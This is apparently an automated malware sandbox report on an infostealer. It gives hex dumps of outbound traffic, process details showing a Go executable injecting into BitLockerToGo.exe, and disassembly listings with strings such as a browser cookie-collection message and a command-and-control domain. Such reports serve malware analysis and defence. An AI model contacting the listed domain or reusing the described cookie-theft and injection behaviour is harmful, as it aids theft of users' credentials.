2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: fc 36 2f d4 b2 64 5f 34 3f 10 f5 b3 1d 29 e1 71 14 01 bc 4e 8b da 11 59 cb 61 25 fb 3b fa 08 2e 73 83 fd 3b af 67 3e b8 d2 cc eb bb 12 b5 6b 50 b5 61 dc 9a 72 f9 a4 1e 61 85 14 8b 3f 50 3b e2 90 ec 76 be 3b cc 38 05 19 12 36 da 3f 5f 54 6f dd b1 8a de b8 9c 9a 26 19 42 95 3f 33 74 7d dd 5c 0c 7d d1 da 3a 1a c4 cb a1 84 6b b2 c2 e7 ed c8 4e 20 fd 16 98 c3 54 c7 1e 62 4e cb 80 1f dc 4f bc af 33 9c f7 7a fa e0 a5 c0 02 ba 08 bc 12 5a df 56 0b 2b 9a 0a ae 4f 1b e2 b2 90 d8 dc b2 93 44 cf 61 d7 3b 5c 2a c9 73 c4 5c 2b b0 fe 9b 64 6e 07 de f5 f7 70 a0 5e 88 73 9a 08 b4 07 55 ab cb 51 b5 9b 91 ef 3b d6 87 6d 1d b4 6f 85 f9 3d 28 c8 86 98 ac a1 1b 6f 7a b3 8e b2 df 8e 86 1d 2d 39 5b 6e a2 d5 5f ea ec f6 7f 2b 27 53 de f9 ce b9 9d 96 39 0d 92 92 57 a7 70 02 20 50 Data Ascii: 6/d_4?)qNYa%;.s;g>kPara?P;v;86?_To&B?3t}\}:kN TbNO3zZV+ODa;\*s\+dnp^sUQ;mo=(oz-9[n_+'S9Wp P
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 8f 87 ea 2e d0 92 3d 6f 43 8e 01 35 3d f3 36 51 22 f5 87 c6 4c fe f8 96 e1 05 9c f3 9c 22 23 7b 49 a7 cc a4 bd 84 eb 92 e9 98 7b 9b 21 c1 22 73 23 bf 97 9e 7c 46 08 31 2d fb bb a3 2e 34 2c f9 d2 99 98 8f dd ae fa da 5a d7 98 f5 2c 96 a4 1c 12 a3 d5 b4 53 ee 02 b0 7e bd 15 34 eb 36 19 d2 a5 6a e1 62 cf ba 35 59 d0 e5 f0 d4 c1 eb 9b d6 64 25 b7 6f eb e9 60 e0 50 32 40 4b 00 07 bf e5 ca 57 e4 e2 a5 a9 15 b6 14 4f 9d db ec 57 f1 30 35 60 ec f1 a4 55 85 9f 53 c9 6a a4 df eb ad f1 7f d5 32 62 a7 e9 e3 4f a3 9e ed b6 ba bc 7d dd 0d b1 0e 30 85 3e 0b ab 7c c0 98 ee 37 bd 3c 99 6f e1 f0 a8 8a 2c 02 5a fc 98 73 e5 92 60 a1 dc 10 30 fc f6 08 01 8e 7f e7 a5 11 1c 20 a7 06 4f e6 a2 2d 2b 6c b1 c0 14 0f cc 71 bf 6f 88 79 06 07 cf 32 7f ef 36 6e 00 e4 fe 58 34 45 ea b8 Data Ascii: .=oC5=6Q"L"#{I{!"s#\|F1-.4,Z,S~46jb5Yd%o`P2@KWOW05`USj2bO}0>\|7<o,Zs`0 O-+lqoy26nX4E
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: ef 8f eb 7a 3e dd 6a db 67 17 87 97 9f 1b 72 02 16 83 f7 0c c4 fa 2e b2 6c 2e 1b fc 9e 3b a4 3f d3 f8 39 4b 14 25 39 30 31 73 9c 79 de 6f d0 38 93 b1 f1 60 50 65 d4 e7 43 05 2b 45 74 fa 5e 8a a1 6c 60 46 6c e4 aa 63 f5 08 37 76 8d 5d 02 cd d2 4c a5 c5 b8 5f 5b 07 48 69 9f 6a f4 ad 3f ea be 0d fd 73 6e 3d 54 b3 95 a2 79 75 af 99 08 5f 17 b8 20 c6 3a a2 ae 17 c0 0b f2 11 21 46 f9 06 3b f2 01 29 54 45 95 32 06 b5 20 b6 b4 a8 44 c8 56 19 c2 2d e0 b1 0b bb e9 84 ee e0 10 6f 59 86 52 68 24 0b b7 e2 7c b5 e8 7b f8 c7 5f 59 f7 8a 83 a3 60 4c 18 26 20 2a ec 75 08 0d 12 ba a4 09 28 dc a1 22 dd 4c 4d 77 28 cb 6c 6b be e5 96 9f b5 75 2d 0c f3 7f ef 1c 20 1f 86 6d 4d 14 63 5c c6 c1 b3 6b 25 68 d8 c0 5c eb a5 35 a0 78 7a 7f 6a 18 e1 4b 6c 3f 95 7c 3c 21 a4 35 10 4d fe Data Ascii: z>jgr.l.;?9K%901syo8`PeC+Et^l`Flc7v]L_[Hij?sn=Tyu_ :!F;)TE2 DV-oYRh$\|{_Y`L& *u("LMw(lku- mMc\k%h\5xzjKl?\|<!5M
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: db 4a 47 34 30 fa dc 32 8f 4b 0e bb 6a 60 40 a7 92 3d 1f 30 f7 e5 2d 29 c2 d9 b2 d4 a1 62 c4 04 36 06 a4 e8 f0 8a 14 1c e0 9f d1 fb d6 aa c3 ae db 91 17 2c 2d de e7 2f ca 7f 7a 3d 13 45 f2 e2 bf f5 8e 62 a7 f8 0f 99 6c 66 8c 32 2d d8 03 ea ab 68 d6 aa 23 25 c7 32 e3 8f ee 0f da d6 b5 13 b7 81 07 d3 2a 8e 32 9d 20 57 71 c5 e3 bf a3 a1 d3 2a 0e bf 55 89 2f 5a 05 80 0f 96 1d 49 cd 74 77 7c b9 43 76 dd 4f a8 02 75 5f 92 2d 36 d7 ab 1f 2e 3d 33 22 e0 46 54 8c 90 96 ed 8b 10 d3 35 d7 4a ef cf 45 20 ff da eb e5 56 04 8c ad bf 19 4b 9a c6 d0 2a 64 ee 8a a3 97 3a 5b 83 7a 4c c9 e4 9a 91 a4 37 37 ed e8 64 b2 29 6c 6c 66 02 48 78 8f 55 51 d2 af 2e 7e 6e 79 2e dd bb 49 0f f3 67 c6 77 fa 00 5b c1 24 e0 ad 43 c0 c9 e1 43 a8 19 55 17 01 70 8f a1 e2 86 be d0 e3 a6 84 28 Data Ascii: JG402Kj`@=0-)b6,-/z=Eblf2-h#%22 WqU/ZItw\|CvOu_-6.=3"FT5JE VK*d:[zL77d)llfHxUQ.~ny.Igw[$CCUp(
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 03 f8 11 a7 97 6c b5 04 cc e7 6b 56 81 93 e4 cb 02 60 51 38 01 c5 f2 7e 41 10 a5 ee 97 ec 3c 2b 9b 37 87 2c f3 df 9f fc c4 af ff c1 d7 3a bb 73 33 1b 92 c4 ba 4b ef 3b c3 a4 04 ac 87 a1 56 b7 0f df b4 00 a2 88 88 47 92 2d a9 b9 c9 89 59 d6 39 f4 ae ec 5c ba 8d 63 e4 80 eb a1 54 b8 b5 ce c4 d0 bc e8 bb a9 fb f8 da b5 76 9c 5a 8d 00 ae 73 24 37 b1 e6 5a c3 09 ab ce b0 75 a7 f9 bd bf d6 37 96 d3 ee d9 8e cf 8c 64 d0 93 6c 6d 5d 90 75 7b 71 64 4e f0 48 a0 14 df fb c1 94 39 52 1d 39 44 f0 dd 60 f2 98 8d 69 46 74 d8 2d 3e e2 53 78 36 cd 94 4c 72 1f c7 29 2f 22 b4 98 04 4c bb f1 ec 82 e0 01 45 fa 85 b9 b4 9a 6d 78 59 34 7d f3 4d 02 82 b5 65 d1 e3 a4 40 13 0d 28 ab 82 37 74 81 e0 e1 e4 17 b2 fe 99 0f ec 24 7a f4 97 cd b6 27 ca a2 e6 7a 36 43 9e 0a b6 a1 e8 e6 c1 Data Ascii: lkV`Q8~A<+7,:s3K;VG-Y9\cTvZs$7Zu7dlm]u{qdNH9R9D`iFt->Sx6Lr)/"LEmxY4}Me@(7t$z'z6C
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: f6 5f ec 14 a6 6c 4b 82 89 90 62 28 08 fc a9 f1 41 4f 36 c0 5d 28 0b c1 90 b4 b5 c1 f9 b3 5b 6d 57 25 24 40 8b 7e c7 5d f1 dc bf 05 4c 44 76 5e 51 79 95 e6 aa 95 fe 70 92 32 f4 ec 90 75 65 d1 d9 dd a3 f7 2c 1e 65 ac 1c d9 a6 2e e1 f2 49 8b 92 c5 6a 19 30 ff eb fe 7f 03 1d c2 93 14 86 72 40 b4 44 d1 81 60 1a 9f c0 d5 d1 4a 3f fc 05 46 40 e3 0d 5d 3b db 5a 97 1b db cb 3f 33 e7 53 2d 22 ff ef 30 67 6b fd ad ce 5a 73 e7 e0 b0 d7 77 44 80 02 ad e4 85 6d 15 8a 4c db 19 1d 16 f4 9a f6 fb 8b 10 be 19 1d 8a 7c e2 e8 5d 43 1f f6 aa 20 d0 c0 9f 01 56 0b 96 c8 9e db 76 3e 80 61 6b 7d a8 e7 68 98 d8 c4 17 4e c9 be 0c 7f b7 11 54 54 c9 5f a9 07 28 9f f8 80 15 04 cc e6 4c 12 d8 97 44 b2 5a 70 67 76 31 0e dd 11 99 80 e8 b6 39 45 58 58 8d 59 80 bd b7 07 6c 97 3d d3 9d 51 Data Ascii: _lKb(AO6]([mW%$@~]LDv^Qyp2ue,e.Ij0r@D`J?F@];Z?3S-"0gkZswDmL\|]C Vv>ak}hNTT_(LDZpgv19EXXYl=Q
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 38 21 c5 51 a1 ff 5c 66 09 4f c3 71 eb 91 14 91 d6 da 76 c0 be 35 7f a1 fb 45 cd 93 b7 af f6 85 47 40 78 70 ce 70 77 ac ff 2f 03 01 b3 01 88 6e 94 9a 18 a8 22 36 27 0c ba 1e 57 8b 77 2a 4b 07 8b e2 fa 20 da 5c b4 c7 b1 8f f6 9f 0e 40 88 45 f9 0f 07 8a 04 a4 52 c7 e7 ea fa 95 b0 b2 d8 3d 3a 2d 72 31 69 0a cd a5 1e 2d 22 07 90 fe a1 a2 43 2e cb 87 4e 6f 8b 49 a3 b6 f2 7d d6 b2 7c b2 33 51 ed 7e fb de f4 34 75 6c 9e 8c 12 c5 98 f5 6b 42 17 28 0d bb 27 6d 3b e1 89 82 8f 7c d9 26 a0 14 52 af 45 3b 9b ca a3 90 95 37 61 e3 94 82 0c ee 61 cb 07 7b 04 a9 0f c4 53 f6 32 ba ed 51 a1 85 fe c3 ef 40 5d f0 b8 16 28 e4 35 12 57 5b 78 e9 e3 ea 31 7a eb c9 cd 11 4f 74 a7 30 ea 03 9e aa a4 a8 85 86 b7 d3 db de 3c 42 e2 a6 b6 21 cc 1e 57 07 df 1f 76 50 82 ff 1b a3 bb 3c 3a Data Ascii: 8!Q\fOqv5EG@xppw/n"6'Ww*K \@ER=:-r1i-"C.NoI}\|3Q~4ulkB('m;\|&RE;7aa{S2Q@](5W[x1zOt0<B!WvP<:
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 64 36 cc 2f d5 0e 41 05 0d fa dd 7c cc 6a 8b 44 ef b2 26 e3 99 ad 7b 97 98 36 ab b5 fe 32 68 d8 d5 48 8c d7 19 c6 11 b4 8c 81 9f 7d ad f9 3d 73 03 ff 03 58 99 5b 96 71 8e 97 20 b6 eb be 1a 90 06 4f 2f bf 8b 21 da 79 61 ba 1e cf 93 83 3e c7 8a 49 b8 3d b2 ac fb f1 c8 ed db e6 e6 4f a7 01 da ab be f7 c6 f1 02 48 a8 df ac 10 89 2d fc 1e f6 9f 70 68 e7 a6 39 50 56 0c 15 4e 64 fa 54 f1 e1 43 87 5f e3 33 a1 c2 6f 2e b1 ba 89 06 41 c2 20 28 6a f8 00 82 68 45 cb 17 01 4d 02 ac 75 a0 37 0b fa 7f 03 47 88 d7 1e 24 51 bc 00 71 bf 3f e7 91 31 9f 29 1a 9e ed 8f 1d 40 f0 e0 1f 80 ab de 3c 0f a0 5a 03 6c 7b ee 3d 5a a3 0f 6d c3 65 fb 81 e8 79 bf 7c a1 91 01 19 22 bd bd 49 05 ab 26 b9 4d 76 9b a2 0f b1 76 a3 17 41 0c 5a 14 eb da a2 58 86 29 68 55 2d c1 1f b2 fe 5f b5 ed Data Ascii: d6/A\|jD&{62hH}=sX[q O/!ya>I=OH-ph9PVNdTC_3o.A (jhEMu7G$Qq?1)@<Zl{=Zmey\|"I&MvvAZX)hU-_
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 33 d0 79 77 6b b5 d0 3f 22 5d ce 88 3f 87 53 18 29 73 96 2e 41 99 f8 c1 ba 8d d0 22 f0 f0 bf 16 c2 b9 e5 1c d0 3e f7 63 bb f3 ef f1 0a 2c bb bd eb 4e 39 25 e2 de 5c b5 e2 c8 bb 1f 4e dd 3e 71 ce 1e d9 8f e3 01 fd ca 4c b7 15 21 88 9d af 40 7d cf fc e8 ef 90 1d 1f 3f 1c be 31 24 6b 6f 21 89 ba 19 93 1c e2 3e 6d 23 ea ac 34 be f9 4e 12 35 cf 70 69 03 8c 0c fb e2 90 b9 c3 a2 ab 16 4b b9 ad 19 9b 4d ad 9b 03 94 c0 39 6f 65 44 d4 d2 90 71 c8 02 25 cb 92 57 65 21 0a 23 ab ff b5 0a a7 bc 92 d5 e1 3d 20 ca 9d b2 64 8e 3e 49 2e 2b 18 e4 a4 55 ae cf 26 57 ba 57 6d f2 87 dc ed d6 65 9b 67 52 1e 5b d3 54 36 53 31 fd a2 5e 83 c3 be 1b 95 6b 67 14 59 ad dc a7 c6 88 f9 05 3c 23 44 19 e1 cb 56 10 e5 70 0c 62 29 0a 43 a3 dd 83 d3 5d 83 ab 1e cc 46 eb 0d 23 26 c3 62 ae cc Data Ascii: 3ywk?"]?S)s.A">c,N9%\N>qL!@}?1$ko!>m#4N5piKM9oeDq%We!#= d>I.+U&WWmegR[T6S1^kgY<#DVpb)C]F#&b
2024-05-03 08:12:25 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0b661vhjieboj879oh3npma2p9; expires=Tue, 27-Aug-2024 01:59:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lNruIXqfP1Tdy%2BW2J7tJBrtaDwesOxPLfTaQw%2FSakcY7%2BgeIE%2Fq0RmC3M3W2DaABMjMdWfU%2FSD4R%2FOOdWSWTUXkm1%2FFLk47fkO%2F318tKRvLHClqXypN1UHUasYaN2umWLV1FDnW7o8R43g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec929c8848c48-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	10:11:54
Start date:	03/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6f6a00000
File size:	6'685'696 bytes
MD5 hash:	7498AF5D4FE090E8E2B4D13D867AB5E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:12:14
Start date:	03/05/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xf40000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.5%
Total number of Nodes:	348
Total number of Limit Nodes:	14

Executed Functions

Function 00666EDE Relevance: 13.3, APIs: 2, Strings: 5, Instructions: 1055
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

]NGy, xrefs: 006679CF
3JLP, xrefs: 00666F29
3JLP, xrefs: 006676BE
]NGy, xrefs: 0066722F
\v`, xrefs: 006675AE

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 3JLP$3JLP$\v`$]NGy$]NGy
API String ID: 0-467586576
Opcode ID: 784d3dc7c85ca19f6fa4ff9aa0ab17d7db6c78c3c0835ff4f7915f8f1e23991c
Instruction ID: dd488a50ce863cdb052c6b42363d88ece3dc2da80bab61f47bb6d0fcd7dbae63
Opcode Fuzzy Hash: 784d3dc7c85ca19f6fa4ff9aa0ab17d7db6c78c3c0835ff4f7915f8f1e23991c
Instruction Fuzzy Hash: CB828F70519B408BE726CF34C4A4BE3BBE2BF16308F48499DD4E74B692C77AA506CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0065BB5E Relevance: 13.3, APIs: 2, Strings: 5, Instructions: 1052COMMON

Download Yara Rule

Strings

he, xrefs: 0065BCEF
UU[A, xrefs: 0065BC6F
XFZF, xrefs: 0065BC5F
[info] collected cookies file of the chromium-based browser, xrefs: 0065BD88
{\C], xrefs: 0065BD98, 0065BD58

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: UU[A$XFZF$[info] collected cookies file of the chromium-based browser$he${\C]
API String ID: 0-1904434317
Opcode ID: 9de35375a770749808e3d18b43fdbe13aa7397037cdb2dbd6925b59475b1f472
Instruction ID: ac6a4511fdf39782ff295655ee2fda30b8d0b9bfbeb9b3357d9d6199ae9689de
Opcode Fuzzy Hash: 9de35375a770749808e3d18b43fdbe13aa7397037cdb2dbd6925b59475b1f472
Instruction Fuzzy Hash: E27299716083519FE728CF18C890B6BB7E2FF89315F188A2CE8959B391D734D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00660AA0 Relevance: 13.0, Strings: 10, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Y'g, xrefs: 00660AE8
7i%w, xrefs: 00660B08
WZ, xrefs: 00660C78
Rf, xrefs: 00660D4B
IV, xrefs: 00660C90
"}7{, xrefs: 00660B20
AV, xrefs: 00660C80
+e*c, xrefs: 00660AF0
)a<o, xrefs: 00660AF8
>u.s, xrefs: 00660B10

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Y'g$"}7{$)a<o$+e*c$7i%w$>u.s$AV$IV$Rf$WZ
API String ID: 0-2191039942
Opcode ID: 6e4f17b153bed3c933d7c040bbea49098b9b6e5ffe1774d678c898fe29ebde42
Instruction ID: c8e7386f3de3adedf57daa1d0843c0707b1ae166d25365f694cf4c5cad1a7952
Opcode Fuzzy Hash: 6e4f17b153bed3c933d7c040bbea49098b9b6e5ffe1774d678c898fe29ebde42
Instruction Fuzzy Hash: 8102CBB5508381DBD3248F68D8917AFB7F2FFC6304F144A2CE5898B291DB769805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0066E8E0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0066E92B
GetSystemMetrics.USER32 ref: 0066E93E
DeleteObject.GDI32 ref: 0066E9B7
SelectObject.GDI32 ref: 0066EA0F
SelectObject.GDI32 ref: 0066EA8E
DeleteObject.GDI32 ref: 0066EACB

Strings

, xrefs: 0066EA5A

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: b4adc6d03b8763b081f7728e5caa9a7b45a3a5e389eb6f8b56f7d56c76c8e927
Instruction ID: 590286adb26448cd50fb89957078c38650fee6faf8cd17465ec25d6f100c59db
Opcode Fuzzy Hash: b4adc6d03b8763b081f7728e5caa9a7b45a3a5e389eb6f8b56f7d56c76c8e927
Instruction Fuzzy Hash: DDD15EB45087818FC774EF14D588A9ABFE2BB89304F504A2DE58D9B350DB705948CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00677A71 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 92
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00677BEF

Strings

RN, xrefs: 00677B53
D^, xrefs: 00677B6B
\^, xrefs: 00677B5B

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: D^$RN$\^
API String ID: 1029625771-2908450965
Opcode ID: f9750cd08684f1420de55b3ff1ce2b255b0cba973a3afebe5be9ce84dfbaa801
Instruction ID: b32e9949577b71ef128a666d63415316f328b6e89b9225024531f6ed6bd9363b
Opcode Fuzzy Hash: f9750cd08684f1420de55b3ff1ce2b255b0cba973a3afebe5be9ce84dfbaa801
Instruction Fuzzy Hash: 8941077410C341AFD708CF54D4A066BBBE2EBC4314F24DA1DE4AA5B390D778C90ACB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00656890 Relevance: 6.7, Strings: 5, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

qw, xrefs: 006568DA
bA;G, xrefs: 006568BA
}s, xrefs: 006568D2
m, xrefs: 00656D68
:U(K, xrefs: 0065696E

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: m$:U(K$bA;G$qw$}s
API String ID: 0-465248152
Opcode ID: 0ec7d238e87f3a7b5aff2426253dfe025f1a46ac21c6055ff67247f551f5b598
Instruction ID: bed37782a1cd559e52b8baa2203e3235e5e8398c9fb5bacdb3af81d026b057c3
Opcode Fuzzy Hash: 0ec7d238e87f3a7b5aff2426253dfe025f1a46ac21c6055ff67247f551f5b598
Instruction Fuzzy Hash: 5DC18BB05083118BC724CF04C8A17ABB7F2FF86365F588A1CE8D65B391E7759949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0064C800 Relevance: 6.5, Strings: 5, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,-&, xrefs: 0064C8D0
;+, xrefs: 0064C8C8
acceptabledcooeprs.shop, xrefs: 0064CBF9
UQ, xrefs: 0064CA49
I^, xrefs: 0064CA41

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,-&$I^$UQ$acceptabledcooeprs.shop$;+
API String ID: 0-33130704
Opcode ID: 703821927e187e0e5452c5d293ed167c1f65d23c978636cbc1ec1462749a26e1
Instruction ID: 3800a878ff359da032221e7b3f5db4713d6b7ed8ff763f8d030e302837c50bc1
Opcode Fuzzy Hash: 703821927e187e0e5452c5d293ed167c1f65d23c978636cbc1ec1462749a26e1
Instruction Fuzzy Hash: 33A126B010E3819BE724CF25D4A0B9BBBE1EF86354F144E4CE4D91B391C7759909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00644640 Relevance: 5.5, Strings: 4, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IDAT, xrefs: 00644B5A
IEND, xrefs: 00644BD3
), xrefs: 006446FB
IHDR, xrefs: 00644AE8

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: d1ce7c47e2011b22648696bbeafca3dda982c71515ed7a8e02b99b6a6bf5add5
Instruction ID: 09d41c1ee43d90d1505b3c074f83f8119d03a8979653bed3160bec8c217e0a18
Opcode Fuzzy Hash: d1ce7c47e2011b22648696bbeafca3dda982c71515ed7a8e02b99b6a6bf5add5
Instruction Fuzzy Hash: 0E1216716043518FD708CF28D89176ABBE2EF85304F19892DFA958B391DB39D905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0065F41E Relevance: 5.4, Strings: 4, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

US, xrefs: 0065F467
cf, xrefs: 0065F585
p, xrefs: 0065F59B
Ir, xrefs: 0065F590

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Ir$cf$p$US
API String ID: 0-572021096
Opcode ID: 8d4ae915645612a4874aa557005e7878102d6bc2d66677ae7e3de3a6adf5b5e9
Instruction ID: b476d2b07283df2b9ed42dd51a136b1997c4dfeb0ba48b87d134e2629c2f36f9
Opcode Fuzzy Hash: 8d4ae915645612a4874aa557005e7878102d6bc2d66677ae7e3de3a6adf5b5e9
Instruction Fuzzy Hash: 29F168B0508381DFE724CF14D895B6BBBE2FB85308F148A2DE5D98B291DB35D909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0067AF00 Relevance: 5.2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTUJ, xrefs: 0067B028
@, xrefs: 0067AFAD
Yne, xrefs: 0067B0CD
Yne, xrefs: 0067B0BE

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @$WTUJ$Yne$Yne
API String ID: 2994545307-1426513554
Opcode ID: b137ab09f66d07cf337d2d113d10306a0ca6204bb60a929bc375a395f3c6e4bb
Instruction ID: ab18fd584590cc6b8cd11599640e3319619e9a9f0d75ec74046fac62a9d6e30e
Opcode Fuzzy Hash: b137ab09f66d07cf337d2d113d10306a0ca6204bb60a929bc375a395f3c6e4bb
Instruction Fuzzy Hash: 874188B15083019FD700CF18C894BABB7E2FF85328F149A5DE4A88B391E779D904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006557D3 Relevance: 4.1, Strings: 3, Instructions: 352COMMON

Download Yara Rule

Strings

(), xrefs: 00655A35
Kl, xrefs: 0065618D
"-, xrefs: 006558A7

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "-$()$Kl
API String ID: 0-1238910597
Opcode ID: 5f380776be8c08c5864fdb884391b99cd5b69970e3b765819396df8771c6c81b
Instruction ID: 8941f76bab408eb40b539729c14a85c1ffa616d6dcea0cd247958f1b63bb3f45
Opcode Fuzzy Hash: 5f380776be8c08c5864fdb884391b99cd5b69970e3b765819396df8771c6c81b
Instruction Fuzzy Hash: AEC158B19187819BD728CF14D8A065FBBF2BFC5704F544A1CF8965B291D330C60ACB86

Uniqueness

Uniqueness Score: -1.00%

Function 006741A0 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

' !", xrefs: 00674448
' !", xrefs: 0067424A
bDg, xrefs: 00674455

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ' !"$' !"$bDg
API String ID: 0-1657807227
Opcode ID: 22cf85c21fc66276f155d594b37b1eb303098a65b4e022f3ca584e83326af1a0
Instruction ID: c3b1779d5e3bf0217f20fcea797d2b749ba1088667ef4f3d629a83cdb66830c2
Opcode Fuzzy Hash: 22cf85c21fc66276f155d594b37b1eb303098a65b4e022f3ca584e83326af1a0
Instruction Fuzzy Hash: F571B970208301AFE700CF18D894B2BBBE6FB88718F149A1CF49997292CB75D955CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00677ED0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0067AEDC,005C003F,00000006,00120089,?,00000018,WTUJ,?,00653DFF), ref: 00677EF6

Strings

WTUJ, xrefs: 00677EE4

Memory Dump Source

